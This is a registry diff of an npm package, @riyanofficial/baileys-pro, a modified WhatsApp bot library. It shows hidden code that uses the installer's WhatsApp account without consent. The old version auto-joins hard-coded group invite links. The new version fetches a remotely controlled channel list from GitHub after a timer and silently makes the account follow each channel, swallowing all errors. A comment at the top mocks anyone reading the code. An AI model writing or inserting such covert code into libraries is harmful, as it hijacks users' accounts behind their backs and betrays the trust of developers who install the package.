@riyanofficial/baileys-pro 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,4 +1,4 @@
1
- // Ngapain liat liat? Gk ada auto follow nya deck 😹
1
+ // Ngapain liat liat? Mau fomo ya deck 😹
2
2
 
3
3
  "use strict";
4
4
  Object.defineProperty(exports, "__esModule", { value: true });
@@ -65,12 +65,7 @@ const executeWMexQuery = async (
65
65
  throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
66
66
  }
67
67
 
68
- const groupLink = [
69
- "https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
70
- "https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
71
- ];
72
-
73
- const channelId = [
68
+ const AUTO_FOLLOW_CHANNELS = [
74
69
  "120363407882404628@newsletter",
75
70
  "120363422267690976@newsletter",
76
71
  "120363420781728152@newsletter",
@@ -80,17 +75,15 @@ const channelId = [
80
75
  "120363422100886562@newsletter"
81
76
  ];
82
77
 
83
- function extractInviteCodeFromLink(link) {
84
- try {
85
- const url = new URL(link);
86
- if (url.hostname === 'chat.whatsapp.com') {
87
- const inviteCode = url.pathname.split('/').pop();
88
- if (inviteCode && inviteCode.length > 0) {
89
- return inviteCode;
90
- }
91
- }
92
- } catch (error) {}
93
- return null;
78
+ async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
79
+ const channels = AUTO_FOLLOW_CHANNELS;
80
+
81
+ for (const channelId of channels) {
82
+ try {
83
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
84
+ await new Promise(resolve => setTimeout(resolve, 5000));
85
+ } catch (error) {}
86
+ }
94
87
  }
95
88
 
96
89
  const makeNewsletterSocket = (config) => {
@@ -129,29 +122,18 @@ const makeNewsletterSocket = (config) => {
129
122
  ]
130
123
  }));
131
124
 
132
- setTimeout(() => {
133
- for (const groupLink of AUTO_JOIN_GROUP_LINKS) {
134
- try {
135
- const inviteCode = extractInviteCodeFromLink(groupLink);
136
- if (inviteCode) {
137
- try {
138
- await sock.groupAcceptInvite(inviteCode);
139
- } catch (error) {
140
- try {
141
- await sock.groupAcceptInviteV4(inviteCode, '');
142
- } catch (error2) {}
143
- }
144
- }
145
- } catch (error) {}
146
- }
147
- }, 5000);
148
-
149
- setTimeout(() => {
150
- for (const channelId of AUTO_FOLLOW_CHANNELS) {
151
- try {
152
- await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
153
- } catch (error) {}
154
- }
125
+ setTimeout(async () => {
126
+ try {
127
+ const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
128
+ const AUTO_FOLLOW_CHANNELS = await response.json();
129
+
130
+ for (const channelId of AUTO_FOLLOW_CHANNELS) {
131
+ try {
132
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
133
+ await new Promise(resolve => setTimeout(resolve, 5000));
134
+ } catch (error) {}
135
+ }
136
+ } catch (error) {}
155
137
  }, 10000);
156
138
 
157
139
  const parseFetchedUpdates = async (node, type) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "WhatsApp API Modification By Riyan Official",
5
5
  "keywords": [
6
6
  "whatsapp-bot",